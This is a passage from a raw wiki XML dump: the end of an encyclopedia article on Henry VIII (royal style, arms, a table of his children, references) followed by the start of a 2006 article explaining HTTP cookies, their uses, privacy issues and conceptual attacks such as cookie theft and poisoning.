In documentary, the leading academic on Henry, [[David Starkey]] leads the field, with [[Channel 4]] series entitled 'Henry VIII' and [http://www.channel4.com/history/microsites/S/sixwives/ 'The Six Wives of Henry VIII'] - the latter gave one episode each to [[Catherine of Aragon]] and [[Anne Boleyn]], one jointly to [[Jane Seymour]] and [[Anne of Cleves]], and another jointly to [[Catherine Howard]] and [[Catherine Parr]]. Henry also has an episode to himself in his more recent series [http://www.channel4.com/history/microsites/M/monarchy/ 'Monarchy'] ([[Monarchy TV series]]).

In 2002, Henry VIII placed 40th in a [[BBC]]-sponsored poll on the [[100 Greatest Britons]].

===Music &amp;ndash; music hall===
Henry was almost certainly the inspiration for the title of the popular song &quot;[[I'm Henry the Eighth, I Am]]&quot; ([[1911 in music|1911]]), recorded by [[Harry Champion]] and later by [[Herman's Hermits]]; the actual song, however, is about a man named Henry whose wife has been married to seven different individuals, all named Henry.

===Music &amp;ndash; Other===
In [[1973 in music|1973]], [[Rick Wakeman]] released a rock [[concept album]] on ''[[The Six Wives of Henry VIII]]'', his first solo album after splitting from [[Yes (band)|Yes]].

==Style and arms==
Henry VIII was the first English monarch to regularly use the style &quot;Majesty&quot;, though the alternatives &quot;Highness&quot; and &quot;Grace&quot; were also used from time to time.

Several changes were made to the royal style during his reign. Henry originally used the style &quot;Henry the Eighth, by the Grace of [[God]], [[List of monarchs of England|King of England]], [[English Kings of France|France]] and [[Lord of Ireland]]&quot;. In 1521, pursuant to a grant from [[Pope Leo X]] rewarding a book by Henry attacking [[Martin Luther]] and defending [[Roman Catholic Church|Catholicism]], the royal style became &quot;Henry the Eighth, by the Grace of God, King of England and France, [[Fidei Defensor|Defender of the Faith]] and Lord of Ireland&quot;. After the breach with [[Rome]], [[Pope Paul III]] rescinded the grant of the title &quot;Defender of the Faith&quot;, but an [[Act of Parliament]] declared that it remained valid.

In 1535, Henry added the &quot;supremacy phrase&quot; to the royal style, which became &quot;Henry the Eighth, by the Grace of God, King of England and France, Defender of the Faith, Lord of Ireland and of the Church of England in [[Earth]] Supreme Head&quot;. In 1536, the phrase &quot;of the [[Church of England]]&quot; changed to &quot;of the Church of England and also of [[Church of Ireland|Ireland]]&quot;.

In 1542, Henry changed the title &quot;Lord of Ireland&quot; to &quot;[[King of Ireland]]&quot; after being advised that many [[Irish ethnicity|Irish people]] regarded the [[Pope]] as the true head of their country, with the Lord acting as a mere representative. The style &quot;Henry the Eighth, by the Grace of God, King of England, France and Ireland, Defender of the Faith and of the Church of England and also of Ireland in Earth Supreme Head&quot; remained in use until the end of Henry's reign.

Henry's [[motto]] was ''Coure Loyall'' (true heart) and he had this embroidered on his clothes in the form of a heart symbol and with the word 'loyall'. His emblem was the [[Tudor rose]] and the Beaufort portcullis.

Henry VIII's [[heraldry|arms]] were the same as those used by his predecessors since [[Henry IV of England|Henry IV]]: ''Quarterly, Azure three [[Fleur-de-lis|fleurs-de-lys]] Or (for [[France]]) and Gules three lions passant guardant in pale Or (for [[England]])''.

==Issue==
&lt;br clear=&quot;all&quot;&gt;
{| border=&quot;1&quot; align=&quot;center&quot; cellspacing=&quot;0&quot; cellpadding=&quot;5&quot;
|- bgcolor=cccccc
!Name!!Birth!!Death!!Notes
|-
|colspan=4|'''''By [[Catherine of Aragon]]''''' (married [[June 11]] [[1509]] annulled 1533; she died [[January 6]] [[1536]])
|-
| ''Miscarried daughter'' || [[January 31]] [[1510]] || [[January 31]] [[1510]]||&amp;nbsp;
|-
|[[Henry, Duke of Cornwall]]||[[1 January]] [[1511]]||[[22 February]] [[1511]]||&amp;nbsp;
|-
|''Unnamed son''||November 1513||November 1513||&amp;nbsp;
|-
|''Henry, Duke of Cornwall''||December 1514||December 1514||&amp;nbsp;
|-
|[[Mary I of England|Queen Mary I]]||[[18 February]] [[1516]]||[[13 September]] [[1558]]||married 1554, [[Philip II of Spain]]; no issue
|-
|''Unnamed child'' || [[November 10]] [[1518]] || [[November 10]] [[1518]] || &amp;nbsp;
|- 
|colspan=4|'''''By [[Anne Boleyn]]''''' (married [[January 25]] [[1533]] annulled 1536; she was executed [[May 19]] [[1536]])
|-
|[[Elizabeth I of England|Queen Elizabeth I]]||[[7 September]] [[1533]]||[[24 March]] [[1603]]||&amp;nbsp; never married, no issue
|-
| ?Henry Tudor || 1534 || 1534 || Historians are uncertain if the child was born and died shortly after birth, or if it was a miscarriage. The affair was hushed up and we cannot even be certain of the child's sex.
|-
|''Unnamed son''||[[29 January]] [[1536]]||[[29 January]] [[1536]]||&amp;nbsp;
|-
|colspan=4|'''''By [[Jane Seymour]]''''' (married [[May 20]] [[1536]]; she died [[October 25]] [[1537]])
|-
|[[Edward VI of England|King Edward VI]]||[[12 October]] [[1537]]||[[6 July]] [[1553]]||&amp;nbsp;
|-
|colspan=4|'''''By [[Anne of Cleves]]''''' (married [[January 6]] [[1540]] annulled 1540; she died [[July 17]] [[1557]])
|-
|colspan=4|no issue
|-
|colspan=4|'''''By [[Catherine Howard]]''''' (married [[July 28]] [[1540]] annulled 1541; she was executed [[February 13]] [[1542]])
|-
|colspan=4|no issue
|-
|colspan=4|'''''By [[Catherine Parr]]''''' (married [[July 12]] [[1543]]; he died [[January 28]] [[1547]]; she remarried and died [[September 5]] [[1548]])
|-
|colspan=4|no issue
|-
|colspan=4|'''''By [[Elizabeth Blount]]'''''
|-
|[[Henry Fitzroy, 1st Duke of Richmond and Somerset|Henry Fitzroy, Duke of Richmond and Somerset]]||[[15 June]] [[1519]]||[[18 June]] [[1536]]||illegitimate; married 1533, the Lady Mary Howard; no issue
|-
|colspan=4|'''''By The [[Lady Mary Boleyn]]''''' ([[Alison Weir|most historians]] now reject the legend that the following two children were fathered by Henry VIII)
|-
|[[Catherine Carey]]||c. 1524 ||[[15 January]] [[1568]]||reputed illegitimate; married Sir [[Francis Knollys]]; had issue
|-
|[[Henry Carey, 1st Baron Hunsdon|Henry Carey, Baron Hunsdon]]||[[4 March]] [[1526]] ||[[23 July]] [[1596]]||reputed illegitimate; married 1545, Ann Morgan; had issue
|-
|colspan=4|'''''By [[Mary Berkeley]]'''''
|-
|[[Thomas Stucley|Sir Thomas Stucley]]||c. 1525||[[August 4]] [[1578]]||reputed illegitimate; married Anne Curtis; had issue
|-
|[[John Perrot|Sir John Perrot]]||c. 1527||September 1592||reputed illegitimate; married (1) Ann Cheyney and (2) Jane Pruet; had issue
|-
|colspan=4|'''''By [[Joan Dyngley]]'''''
|-
|[[Etheldreda Malte]]||c. 1529||aft. 1555|| reputed illegitimate; married 1546&amp;ndash;1548 to John Harrington; no known issue
|}
'''&lt;nowiki&gt;*&lt;/nowiki&gt;''' ''Note: Of Henry VIII's reputedly illegitimate children, only the Duke of Richmond and Somerset was formally acknowledged by the King. The paternity of his other alleged illegitimate children is not fully established. There may also have been other illegitimate children born to short-term mistresses who we no longer know of.''

==Trivia==
* His [[court jester]] was named Will Somers.

==See also==
*[[Royal Navy#History|Royal Navy]]	 
*[[History of the Royal Navy#The beginnings of an organised navy|History of the Royal Navy]]
*[[The Tudors and the Royal Navy]]

==References==
*Bowle, John. ''Henry VIII: A Study of Power in Action'' Little, Brown, 1964.
*Bryant, M. ''Private Lives''. Cassell, 2001.
*[http://tudorhistory.org/wives/ Eakins, L. E. (2004). &quot;The Six Wives of Henry VIII&quot;.]
*Farrow, John V. ''The Story of Thomas More''. Collins, 1956.
*&quot;Henry VIII&quot;. (1911). ''Encyclopædia Britannica,'' 11th ed. London: Cambridge University Press.
*[http://www.luminarium.org/renlit/tudor.htm Jokinen, A. (2004). &quot;Henry VIII (1491&amp;ndash;1547)&quot;.]
*Moorhouse, Geoffrey. ''Great Harry's Navy: How Henry VIII Gave England Seapower''
*[http://www.pbs.org/wnet/sixwives/ Public Broadcasting Service. (2003). &quot;The Six Wives of Henry VIII&quot;.]
*[http://www.newadvent.org/cathen/07222a.htm Thurston, H. (1910). &quot;Henry VIII&quot;. ''The Catholic Encyclopedia''. (Vol. VII). New York: Robert Appleton Company.]
*[http://www.luminarium.org/renlit/vallieres.htm Vallieres, S. (1999). &quot;Tudor Succession Problems&quot;]
*Weir, Alison. ''The Six Wives of Henry VIII''. Bodley Head, 1991.

==Further reading==
* Weir, Alison. ''Henry VIII: The King and His Court''. Ballantine Books, 2001.
* Williams, Neville. ''Henry VIII and His Court''. Macmillan, 1971.

==External links==
*[http://www.badley.info/history/Henry-VIII-England.biog.html Henry VIII World History Database]
*[http://www.tudor-portraits.com Buehler, Edward. (2004). &quot;Tudor and Elizabethan Portraits&quot;.]
*[http://www.tudorplace.com.ar/aboutHenryVIII.htm Castelli, Jorge H. (2004). &quot;Henry VIII&quot;.]
*[http://www.archsoc.com/games/Henry.html Stevens, Garry. (2003). &quot;Henry VIII: Intrigue in the Tudor Court&quot;.]
*[http://members.ozemail.com.au/~tperrott/sirjohn.htm Perrott, Terry. (2004). &quot;Sir John Perrott&quot;.]

{{start}}
{{s-hou|[[House of Tudor]]|June 28|1491|January 28|1547}}
{{s-reg}}
{{s-bef|rows=2|before=[[Henry VII of England|Henry VII]]}}
{{s-ttl|title=[[List of British monarchs|King of England]]|years=April 22, 1509&amp;ndash;January 28, 1547}}
{{s-aft|after=[[Edward VI of England|Edward VI]]}}
{{s-ttl|title=[[King of Ireland|Lord of Ireland]]|years=1509&amp;ndash;1541}}
{{s-non|reason=Declared king by an act&lt;br&gt;of the [[Irish Parliament]]}}
|-
{{s-vac|last=[[Edward Bruce]]}}
{{s-ttl|title=[[King of Ireland]]|years=1541&amp;ndash;1547}}
{{s-aft|after=[[Edward VI of England|Edward VI]]}}
{{s-bef|before=[[William Scott of Scott's Hall|Sir William Scott]]}}
{{s-ttl|title=[[Lord Warden of the Cinque Ports]]|years=1493&amp;ndash;1509}}
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{{s-hon}}
{{s-new}}
{{s-ttl|title=[[Duke of York]]|years=1494&amp;ndash;1509}}
{{s-non|reason=Merged in crown}}
|-
{{s-bef|before=[[Arthur, Prince of Wales|Arthur]]}}
{{s-ttl|title=[[Prince of Wales]]|years=1502&amp;ndash;1509}}
{{s-vac|next=[[Henry Frederick, Prince of Wales|Henry]]}}
{{end}}

[[Category:1491 births]]
[[Category:1547 deaths]]
[[Category:Londoners]]
[[Category:House of Tudor]]
[[Category:English monarchs]]
[[Category:Earls Marshal]]
[[Category:Knights of the Garter]]
[[Category:Knights of the Golden Fleece]]
[[Category:History of Wales]]
[[Category:Lords Warden of the Cinque Ports]]
[[Category:Dukes in the Peerage of England]]
[[Category:Former Catholics]]
{{featured article}}

[[ar:هنري الثامن من إنكلترا]]
[[bg:Хенри VIII]]
[[ca:Enric VIII d'Anglaterra]]
[[cs:Jindřich VIII.]]
[[cy:Harri VIII o Loegr]]
[[da:Henrik 8. af England]]
[[de:Heinrich VIII. (England)]]
[[es:Enrique VIII de Inglaterra]]
[[eo:Henriko la 8-a]]
[[fr:Henri VIII d'Angleterre]]
[[ko:잉글랜드의 헨리 8세]]
[[hr:Henrik VIII., kralj Engleske]]
[[io:Henrik 8ma di Anglia]]
[[it:Enrico VIII d'Inghilterra]]
[[he:הנרי השמיני מלך אנגליה]]
[[kw:Henry VIII a Bow Sows]]
[[la:Henricus VIII Angliae Rex]]
[[mr:हेन्री आठवा]]
[[nl:Hendrik VIII van Engeland]]
[[ja:ヘンリー8世 (イングランド王)]]
[[no:Henrik VIII av England]]
[[nn:Henrik VIII av England]]
[[pl:Henryk VIII Tudor]]
[[pt:Henrique VIII de Inglaterra]]
[[ro:Henric al VIII-lea]]
[[ru:Генрих VIII (король Англии)]]
[[scn:Arricu VIII di Inghilterra]]
[[simple:Henry VIII of England]]
[[sk:Henrich VIII. (Anglicko)]]
[[sl:Henrik VIII. Angleški]]
[[sr:Хенрик VIII]]
[[fi:Henrik VIII (Englanti)]]
[[sv:Henrik VIII av England]]
[[uk:Генріх VIII]]
[[zh:亨利八世]]</text>
    </revision>
  </page>
  <page>
    <title>HTTP cookie</title>
    <id>14188</id>
    <revision>
      <id>42071123</id>
      <timestamp>2006-03-03T16:53:18Z</timestamp>
      <contributor>
        <ip>85.157.109.41</ip>
      </contributor>
      <comment>fi</comment>
      <text xml:space="preserve">An '''HTTP cookie''' is a packet of information sent by a [[Web server|server]] to a [[World Wide Web]] [[web browser|browser]] and then sent back by the browser each time it accesses that server. [[HTTP]] [[Magic cookie|cookies]] are used for user authentication, user tracing, and maintaining user-specific information (preferences, electronic shopping cart, etc.)

[[Image:Googlecookie.png|thumb|250px|A file used by the [[Internet Explorer]] browser to store a cookie.]]
Cookies have been of concern for [[Internet privacy]], since they can be used for tracing the browsing of a user. As a result, they have been subject to legislation in various countries such as the [[United States]], as well as the [[European Union]]. Cookies have also been criticized because the identification of users they provide is not always accurate and because they can be used for network attacks. 

On the other hand, cookies have also been subject to a number of misconceptions, mostly based on the wrong claim that they are [[program]]s, while they in fact are simple pieces of data, and are therefore unable to perform any operation by themselves. In particular, many Internet users have been reported to incorrectly consider cookies as a form of [[spyware]] or [[Virus (computing)|virus]]es, which are able to read or erase a users' [[hard disk]] (a misconception perhaps complicated by the detection of cookies from certain sites by anti-spyware programs). Most modern browsers allow users to decide whether to accept cookies, but rejection makes several [[Web site]]s unusable. For example, users' preferences or shopping baskets implemented using cookies do not work if cookies are rejected. Some alternatives to cookies exist, but have their own drawbacks.

==Purpose==
Cookies are used for realizing functionalities that are specific to a user. Cookies were introduced for realizing a virtual [[Shopping cart|shopping basket]] where the user can place item to purchase. This way, a user can navigate a site where items are shown, adding or removing them from the shopping basket at any time.

Another use of cookies is for allowing users to log in a [[Web site]]. Users typically log in by inserting their credentials into a login page; cookies allow the server to know that the user is already authenticated, and is therefore allowed to access services or perform operations that are restricted to logged users.

Several Web sites also use cookies for [[Personalization|personalization]] based on users' preferences. Sites that require authentication often use this feature, which is however also present on site not requiring authentication. Personalization include presentation and functionality. For example, the [[Wikipedia]] Web site allows authenticated users to decide the [[skin (computing)|skin]] of pages; the [[Google]] search engine allows users (even non-registered ones) to decide how many hits per page they want to see.

Cookies are also used to trace users across a Web site. Third-party cookies and [[Web bug]]s, explained below, also allows for tracing across multiple sites. Tracing within a site is typically done to the aim of producing usage statistics, while tracing across sites is typically used by advertising companies to produce anonymous user profiles, which is then used to target advertising (deciding which adversiting image to show) based on the user profile.

==Realization==

[[Image:HTTPCookie.png|thumb|250px|A possible interaction between a Web browser and a server holding a Web page, in which the server sends a cookie to the browser and the browser sends it back when requesting another page.]]
Technically, cookies are arbitrary pieces of data chosen by the [[Web server]] and sent to the browser. The browser returns them unchanged to the server, introducing a [[state (computer science)|state]] (memory of previous events) into otherwise stateless [[HTTP]] transactions. Without cookies, each retrieval of a [[Web page]] or component of a Web page is an isolated event, mostly unrelated to all other views of the pages of the same site. By returning a cookie to a web server, the browser provides the server a means of connecting the current page view with prior page views. Other than being set by a web server, cookies can also be set by a [[Scripting programming language|script]] in a language such as [[JavaScript]], if supported and enabled by the Web browser.

Cookie specifications {{ref|netscape}}{{ref|rfcs}} suggest that browsers should support a minimal number of cookies or amount of memory for storing them. In particular, a browser is expected to be able to store at least 300 cookies of 4 kilobytes each, and at least 20 cookies per server or [[Internet domain|domain]].

The cookie setter can specify a date, in which case the cookie will be removed on that date. If the cookie setter does not specify a date, the cookie is removed once the user quits his or her browser. As a result, specifying a date is a way for making a cookie survive across sessions. For this reason, cookies with an expiration date are called ''persistent''.

==Misconceptions==
Since their introduction on the Internet, misconceptions about cookies circulate on the Internet and the media{{ref|thealli}}{{ref|eei}}. In 2005, [[Jupiter Research]] published the results of a survey{{ref|jupiter}}, according to which a consistent percentage of respondents believed some of the following claims:

* cookies are like [[Computer worm|worms]] and [[Computer virus|viruses]] (they can erase data from the user's hard disks);
* cookies are a form of [[spyware]] (they can read personal information stored on the user's computer);
* cookies generate [[popup]]s;
* cookies are used for [[spam (electronic)|spam]]ming;
* cookies are only used for [[advertising]].

Cookies are data, not code: they cannot erase or read information from the user's computer{{ref|slate}}. However, cookies allow for detecting the Web pages viewed by a user on a given site or set of sites. This information can be collected in an ''anonymous profile'' of the user. While such profiles do not contain personal information (name, address, etc.), they have been subject of some privacy concerns.

According to the same survey, a large percentage of Internet users are unable to delete cookies.

==Browser settings==
Most modern browsers support cookies. However, a user can usually also choose whether cookies should be used or not. The following are common options{{ref|faq}}: cookies are never accepted; the browser asks the user whether to accept every individual cookie; cookies are always accepted.

[[Image:Mozilla-cokie.png|right|thumb|200px|The [[Mozilla]] cookie manager: in the list, cookie names with associated domains]]

The browser may also include the possibility of better specifying which cookies have to be accepted or not. In particular, the user can typically choose one or more of the following options: reject cookies from specific domains; disallow third-party cookies (see below); accept cookies as non-persistent (expiring when the browser is closed); and allow a server to set cookies for a different domain. Additionally, browsers may also allow users to view and delete individual cookies.

Most browsers supporting JavaScript allow the user to see the cookies that are active with respect to a given page by typing &lt;code&gt;javascript:alert(&quot;Cookies: &quot;+document.cookie)&lt;/code&gt; in the browser [[URL]] field. Some browsers incorporate a cookie manager for the user to see and selectively delete the cookies currently stored in the browser.

The [[P3P]] specification include the possibility for a server to state a privacy policy, which specifies which kind of information it collects and for which purpose. These policies include (but are not limited to) the use of information gathered using cookies. According to the P3P specification, a browser can accept or reject cookies by comparing the privacy policy with the stored user preferences or ask the user, presenting them the privacy policy as declared by the server.

==Privacy and third-party cookies==
Cookies have some important implications on the [[privacy]] and [[anonymity]] of Web users. While cookies are only sent to the server setting them or one in the same [[Internet domain]], a Web page may contain images or other components stored on servers in other domains. Cookies that are set during retrieval of these components are called ''third-party cookies''.

[[Image:Thirdparty.png|thumb|300px|In this fictional example, an advertising company has placed banners in two Web sites (which do not show any banner in reality). Hosting the banner images on its servers and using third-party cookies, the advertising company is able to track the browsing of users across these two sites.]]
Advertising companies use third-party cookies to track a user across multiple sites. In particular, an advertising company can track a user across all pages where it has placed  advertising images or [[Web bug]]s. Knowledge of the pages visited by an user allows the advertisment company to target advertisment to the user's presumed preferences.

The possibility of building a profile of users has been considered by some a potential privacy threat, still when the tracking is done on a single domain but especially when tracking is done across multiple domains, which is done using third-party cookies. For this reason, some countries have legislation about cookies.

The [[United States]] government has set strict rules on setting cookies in 2000 after it was disclosed that the White House drug policy office used cookies to track computer users viewing its online antidrug advertising to see if they then visited sites about drug making and drug use. In 2002, privacy activist [[Daniel Brandt]] found that the [[CIA]] had been leaving persistent cookies in people's computers for ten years. When notified it was violating policy, CIA stated that these cookies were not intentionally set and stopped setting them{{ref|cbsnews}}. On [[December 25]], [[2005]], Brandt discovered that the [[National Security Agency]] had been leaving two persistent cookies on visitors' computers due to a software upgrade. After being informed, the National Security Agency immediately disabled the cookies {{ref|asspress}}

The [http://europa.eu.int/smartapi/cgi/sga_doc?smartapi!celexapi!prod!CELEXnumdoc&amp;lg=en&amp;numdoc=32002L0058&amp;model=guichett 2002 European Union telecommunication privacy Directive] contains rules about the use of cookies. In particular, Article 5, Paragraph 3 of this directive mandates that storing data (like cookies) in a user's computer can only be done if: first, the user is provided information about how this data is used; and second, the user is given the possibility of denying this storing operation. However, this article also states that storing data that is necessary for technical reasons is exempted from this rule. This directive was expected to have been applied since October 2003, but a [http://europa.eu.int/information_society/policy/ecomm/doc/implementation_enforcement/annualreports/10threport/sec20041535vol1en.pdf December 2004 report] says (page 38) that this provision was not applied in practice, and that some member countries ([[Slovakia]], [[Latvia]], [[Greece]], [[Belgium]], and [[Luxembourg]]) did not even transpose it. The same report suggests a thorough analysis of the situation in the Member States.

==Drawbacks of cookies==
Besides privacy concerns, there are some other reasons why cookies have been opposed: they do not always accurately identify users, and they can be used for security attacks.

===Inaccurate identification===
If more than one browser is used on a computer, each has a separate storage area for cookies. Hence cookies do not identify a person, but a combination of a user account, a computer, and a Web browser. Thus, a single person who has multiple sets of cookies if they use multiple accounts, computers, or browsers. On the other hand, cookies do not differentiate between multiple users who share a computer and browser, if they do not use different [[user account]]s.

===Cookie theft===
During normal operation, cookies are sent back and forth between a server (or a group of servers in the same domain) and the computer of the browsing user. Since cookies may contain sensitive information (user name, a token used for authentication, etc.), their values should not be accessible to other computers. On the other hand, cookies sent on ordinary HTTP sessions are visible to all users who can listen in on the network using a [[packet sniffer]]. These cookies should therefore not contain sensitive data. This problem can be overcome by using the [[https: URI scheme]], which invokes [[Transport Layer Security]] to encrypt the connection.

[[Image:Cookie-theft.svg|thumb|200px|Cookie theft: a cookie that should be only exchanged between a server and a client is sent to another party.]]
[[Cross site scripting]] allows the value of cookies to be sent to servers that are normally not sent these values. Modern browsers allow execution of pieces of code retrieved from the server. If cookies are accessible during execution, their value may be communicated in some form to servers that should not access them. The process allowing an unauthorized party to receive a cookie is called ''cookie theft'', and encryption does not help against this attack{{ref|xss}}.

This possibility is typically exploited by attackers on sites that allow users to post [[HTML]] content. By embedding a suitable piece of code in an HTML post, an attacker may receive cookies of other users. Knowledge of these cookies can then be exploited by connecting to the same site using the stolen cookies, thus being recognized as the user whose cookies have been stolen.

[[Image:Cookie-poison.svg|thumb|200px|Cookie poisoning: an attacker sends a server an invalid cookie, possibly modifying a valid cookie sent it from the server.]]
===Cookie poisoning===
While cookies are supposed to be stored and sent back to the server unchanged, an attacker may modify the value of cookies before sending them back to the server. If, for example, a cookie contains the total value a user has to pay for the items in their shopping basket, changing this value exposes the server to the risk of making the attacker pay less than the supposed price. The process of tampering with the value of cookies is called ''cookie poisoning'', and is sometimes used after cookie theft to make an attack persistent.

[[Image:Cookie-cooking.svg|thumb|200px|In cross-site cooking, the attacker exploits a browser bug to send an invalid cookie to a server.]]
===Cross Site Cooking===
Each site is supposed to have its own cookies: &lt;code&gt;&lt;nowiki&gt;http://evil.com&lt;/nowiki&gt;&lt;/code&gt; should not be able to set cookies that a browser sent to another site &lt;code&gt;&lt;nowiki&gt;http://good.com&lt;/nowiki&gt;&lt;/code&gt;. [[Cross Site Cooking]] vulnerabilities in web browsers allows mallicious sites to break this rule. This is similar to cookie poisoning, but the attacker exploits non-malicious users with vulnerable browsers, instead of attacking the actual site directly. The goal of such attacks may be to perform [[session fixation]].

==Alternatives to cookies==
Some of the operations that can be realized using cookies can also be realized using other mechanisms. However, these alternatives to cookies have their own drawbacks, which make cookies usually preferred to them in practice.  Most of the following alternatives allow for user tracing, even if not as reliably as cookies.  As a result, privacy is an issue even if cookies are rejected by the browser or not set by the server.

===IP address===
An unreliable technique for tracing users is based on storing the [[IP address]]es of the computers requesting the pages. This technique has been available since the introduction of the World Wide Web, as downloading pages requires the server holding them to know the IP address of the computer running the browser or the [[proxy]], if any is used. This information is available for the server to be stored regardless of whether cookies are used. However, these addresses are typically less reliable in identifying a user than cookies because computers and proxies may be shared by several users, and the same computer may be assigned different Internet addresses in different work sessions (this is oftern the case for [[dial-up]] connections.) The reliability of this technique can be improved by using another feature of the HTTP protocol: when a browser request a page because the user has followed a link, the request that is sent to the server contains the URL of the page where the link is located. If the server stores these URLs, the path of page viewed by the user can be tracked more precisely. However, these traces are less reliable than the ones provided by cookies, as several users may access the same page from the same computer or proxy and then follow two different links. Moreover, this technique only allows tracing and cannot replace cookies in their other uses.

===URL (query string)===
A more precise technique is based on embedding information into URLs. The [[query string]] part of the URL is the one that is typically used for this purpose, but other parts can be used as well. The [[PHP]] session mechanism uses this method if cookies are not enabled.

This method consists in the Web server appending query strings to the links of a Web page it holds when sending it to a browser. When the user follows a link, the browser returns the attached query string to the server.

Query strings used in this way and cookies are very similar, both being arbitrary pieces of information chosen by the server and sent back by the browser. However, there are some differences: since a query string is part of a URL, if that URL is later reused, the same attached piece of information is sent to the server. For example, if the preferences of a user are encoded in the query string of a URL and the user sends this URL to another user by [[email]], those preferences will be used for that other user as well.

Moreover, even if if the same user accesses the same page two times, there is no guarantee that the same query string is used in both views. For example, if the same user arrives to the same page but coming from a page internal to the site the first time and from an external [[search engine]] the second time, the relative query strings are typically different while the cookies would be the same. For more details, see [[query string]]. 

Other drawbacks of query strings are related to security: storing data that identifies a session in a query string enables or simplifies [[session fixation]] attacks, [[referer]] logging attacks and other [[Exploit (computer security)|security exploits]]. Transferring session identifiers as HTTP cookies is more secure.

===HTTP authentication===
As for authentication, the HTTP protocol includes mechanisms, such as the [[digest access authentication]], that allow access to a Web page only when the user has provided the correct username and password. Once these credentials are given, the browser stores and use them also for accessing subsequent pages, without requiring the user to provide them again. From the point of view of the user, the effect is the same as if cookies were used: username and password are only requested once, and from that point on the user is given access to the site.

===Macromedia Flash Local Stored Objects===
If a browser is enhanced by the [[Macromedia Flash|Macromedia Flash Player]] [[plugin]], its Local Shared Objects function can be used in a way very similar to cookies. Local Stored Objects may be an attractive choice to web developers because a majority of [[Microsoft Windows]] users have Flash Player installed, the default size limit is 100 kb, and the security controls are distinct from the user controls for cookies, so Local Shared Objects may be enabled when cookies are not.

==History==
The term &quot;HTTP cookie&quot; derives from &quot;[[magic cookie]]&quot;, a packet of data a program receives but only uses for sending it again, possibly to its origin, unchanged. Magic cookies were already used in computing when [[Lou Montulli]] had the idea of using them in Web communications in June 1994{{ref|nytimes}}. At the time, he was an employee of [[Netscape Communications]], which was developing an [[e-commerce]] application for a customer. Cookies provided a solution to the problem of reliably implementing a virtual shopping cart{{ref|ks}}{{ref|kristol}}.

Together with John Giannandrea, Montulli wrote the initial Netscape cookie specification the same year. Version 0.9beta of Netscape, released on September 1994, supported cookies. The first actual use of cookies (out of the labs) was made for checking whether visitors to the Netscape Web site had already visited the site. Montulli and Giannandrea applied for a patent for the cookie technology in 1995; it was granted in 1998. Support for cookies was integrated in Internet Explorer in version 2, released in October 1995{{ref|ie}}.

The introduction of cookies was not widely known to the public, at the time. In particular, cookies were accepted by default, and users were not notified of the presence of cookies. Some people were aware of the existence of cookies as early as the first quarter of 1995{{ref|clarke}}, but the general public learnt about them after the [[Financial Times]] published an article about them on [[February 12]] [[1996]]. In the same year, cookies received lot of media attention, especially because of potential privacy implications. Cookies were discussed in two [[U.S.]] [[Federal Trade Commission]] hearings in 1996 and 1997. 

The development of the formal cookie specifications was already undergoing. In particular, the first discussions about a formal specification started in 
April 1995 on the [[www-talk]] mailing list. A special working group within the  [[IETF]] was formed. Two alternative proposals for introducing a state in an HTTP transactions had been proposed by Brian Behlendorf and David Kristol, respectively, but the group, headed by Kristol himself, soon decided to use the Netscape specification as a starting point. On February 1996, the working group identified third-party cookies as a considerable privacy threat. The specification produced by the group was eventually published as RFC 2109 in February 1997. It specifies that third-party cookies were either not allowed at all, or at least not enabled by default.

At this time, advertising companies were already using third-party cookies. The recommendation about third-party cookies of &lt;nowiki&gt;RFC 2109&lt;/nowiki&gt; was not followed by Netscape and Internet Explorer. &lt;nowiki&gt;RFC 2109&lt;/nowiki&gt; was followed by RFC 2965 in October 2000.

==Implementation==
===Setting a cookie===
Transfer of Web pages follows the [[HyperText Transfer Protocol]]. Regardless of cookies, browsers request a page from web servers by sending them a short text called [[HyperText Transfer Protocol|HTTP request]]; a request may look like:

{|
|
| 
&lt;div style=&quot;border: solid thin; padding: 0em 1em&quot;&gt;
&lt;code&gt;
&lt;nowiki&gt;GET http://www.w3.org/index.html HTTP/1.1&lt;/nowiki&gt;&lt;br /&gt;
Accept: */*&lt;br&gt;
&amp;nbsp;&lt;br&gt;
&lt;/code&gt;
&lt;/div&gt;
|
|-
| '''browser'''
| &lt;center&gt;&amp;rarr;&lt;/center&gt;
| '''server'''
|}

The server replies by sending the requested page preceded by a similar packet of text, called [[HyperText Transfer Protocol|HTTP header]]. This packet may contain lines requesting the browser to store cookies:

{|
|
|
&lt;div style=&quot;border: solid thin; padding: 0em 1em&quot;&gt;
&lt;tt&gt;
HTTP/1.1 200 OK&lt;br&gt;
&lt;font color=green&gt;Set-Cookie: name=value&lt;/font&gt;&lt;br&gt;
Content-type: text/html&lt;br&gt;
&amp;nbsp;&lt;br&gt;
(content of page)
&lt;/tt&gt;
&lt;/div&gt;
|
|-
| '''browser'''
| &lt;center&gt;&amp;larr;&lt;/center&gt;
| '''server'''
|}

The line &lt;code&gt;Set-cookie&lt;/code&gt; is only sent if the server wishes the browser to store a cookie. Indeed, it is a request for the browser to store the string &lt;code&gt;name=value&lt;/code&gt; and send it back in all future requests to the server. If the browser supports cookies and cookies are enabled, every subsequent page request to the same server contains the cookie:

{|
|
|
&lt;div style=&quot;border: solid thin; padding: 0em 1em;&quot;&gt;
&lt;tt&gt;
&lt;nowiki&gt;GET http://www.w3.org/spec.html HTTP/1.1&lt;/nowiki&gt;&lt;br /&gt;
&lt;font color=green&gt;Cookie: name=value&lt;/font&gt;&lt;br /&gt;
Accept: */*&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
&lt;/tt&gt;
&lt;/div&gt;
|
|-
| '''browser'''
| &lt;center&gt;&amp;rarr;&lt;/center&gt;
| '''server'''
|}

This is a request for another page from the same server, and differs from the first one above because  it contains the string that the server has previously sent to the browser. This way, the server knows that this request is related to the previous one. The server answers by sending the requested page, possibly adding other cookies as well.

The value of a cookie can be modified by the server by sending a new &lt;code&gt;Set-Cookie: name=newvalue&lt;/code&gt; line in response of a page request. The browser then replaces the old value with the new one.

The &lt;code&gt;Set-Cookie&lt;/code&gt; line is typically not created by the [[HTTP]] server itself but by a [[Common Gateway Interface|CGI]] program. The [[HTTP]] server only sends the result of the program (a document preceded by the header containing the cookies) to the browser.

Cookies can also be set by JavaScript or similar scripts running within the browser. In JavaScript, the object &lt;code&gt;document.cookie&lt;/code&gt; is used for this purpose. For example, the instruction &lt;code&gt;document.cookie = &quot;temperature=20&quot;&lt;/code&gt; creates a cookie of name &lt;code&gt;temperature&lt;/code&gt; and value &lt;code&gt;20&lt;/code&gt; {{ref|javascript}}.

===Cookie attributes===
